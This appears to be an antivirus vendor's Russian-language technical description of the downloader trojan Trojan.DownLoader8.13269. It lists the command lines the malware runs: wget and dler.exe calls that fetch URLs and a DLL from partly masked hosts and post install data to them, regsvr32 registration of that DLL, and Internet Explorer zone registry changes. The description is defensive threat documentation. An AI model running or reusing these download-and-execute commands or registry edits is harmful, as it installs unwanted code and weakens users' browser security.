Trojan.DownLoader8.13269

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

%PROGRAM_FILES%\OApps\dler.exe "/P=" "/U=http://se###ecdn.org/get_url.php" "/F=churl.txt"
%TEMP%\nszF.tmp\ns10.tmp "%TEMP%\wget.exe" -q -O "churl.txt" "http://se###ecdn.org/get_url.php"
%TEMP%\wget.exe -q -O "ch.txt" "http://se###ecdn.org/generate_extid.php"
%TEMP%\nsr2.tmp\nsD.tmp "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://se###ecdn.org/get_url.php" "/F=churl.txt"
%TEMP%\wget.exe -q -O "churl.txt" "http://se###ecdn.org/get_url.php"
%TEMP%\nsf13.tmp\ns14.tmp "%TEMP%\wget.exe" -q --post-data="i={3AEC4895-95DF-41AA-B1A9-6F034646DD70}&source=bundle&timestamp=2012-10-23 1:13:32&product=sb&sign=" -O "status.txt" "http://tr###.nsdiflw.info/install.php"
%TEMP%\wget.exe -q --post-data="i={3AEC4895-95DF-41AA-B1A9-6F034646DD70}&source=bundle&timestamp=2012-10-23 1:13:32&product=sb&sign=" -O "status.txt" "http://tr###.nsdiflw.info/install.php"
%TEMP%\nsr2.tmp\ns11.tmp "%PROGRAM_FILES%\OApps\dler.exe" "/P=i={3AEC4895-95DF-41AA-B1A9-6F034646DD70}&source=bundle&timestamp=2012-10-23 1:13:32&product=sb&sign=" "/U=http://tr###.nsdiflw.info/install.php" "/F=status.txt"
%PROGRAM_FILES%\OApps\dler.exe "/P=i={3AEC4895-95DF-41AA-B1A9-6F034646DD70}&source=bundle&timestamp=2012-10-23 1:13:32&product=sb&sign=" "/U=http://tr###.nsdiflw.info/install.php" "/F=status.txt"
%PROGRAM_FILES%\OApps\dler.exe "/U=http://cd#.##diflw.info/sl_get/V4/adk/SelectionLinks.dll" "/F=%PROGRAM_FILES%\OApps\SelectionLinks.dll"
%TEMP%\nso6.tmp\ns7.tmp "%TEMP%\wget.exe" -q -O "%PROGRAM_FILES%\OApps\SelectionLinks.dll" "http://cd#.##diflw.info/sl_get/V4/adk/SelectionLinks.dll"
%TEMP%\nsr2.tmp\ns3.tmp "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://tr###.nsdiflw.info/testGroup.php" "/F=tg.txt"
%TEMP%\nsr2.tmp\ns4.tmp "%PROGRAM_FILES%\OApps\dler.exe" "/U=http://cd#.##diflw.info/sl_get/V4/adk/SelectionLinks.dll" "/F=%PROGRAM_FILES%\OApps\SelectionLinks.dll"
%TEMP%\wget.exe -q -O "%PROGRAM_FILES%\OApps\SelectionLinks.dll" "http://cd#.##diflw.info/sl_get/V4/adk/SelectionLinks.dll"
%PROGRAM_FILES%\OApps\dler.exe "/P=" "/U=http://se###ecdn.org/generate_extid.php" "/F=ch.txt"
%TEMP%\nsoB.tmp\nsC.tmp "%TEMP%\wget.exe" -q -O "ch.txt" "http://se###ecdn.org/generate_extid.php"
%PROGRAM_FILES%\OApps\SelectionLinks.exe
%TEMP%\nsr2.tmp\ns9.tmp "%PROGRAM_FILES%\OApps\dler.exe" "/P=" "/U=http://se###ecdn.org/generate_extid.php" "/F=ch.txt"

Запускает на исполнение:

<SYSTEM32>\regsvr32.exe /s "SelectionLinks.dll"

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1609' = '00000000'

Изменения в файловой системе:

Создает следующие файлы: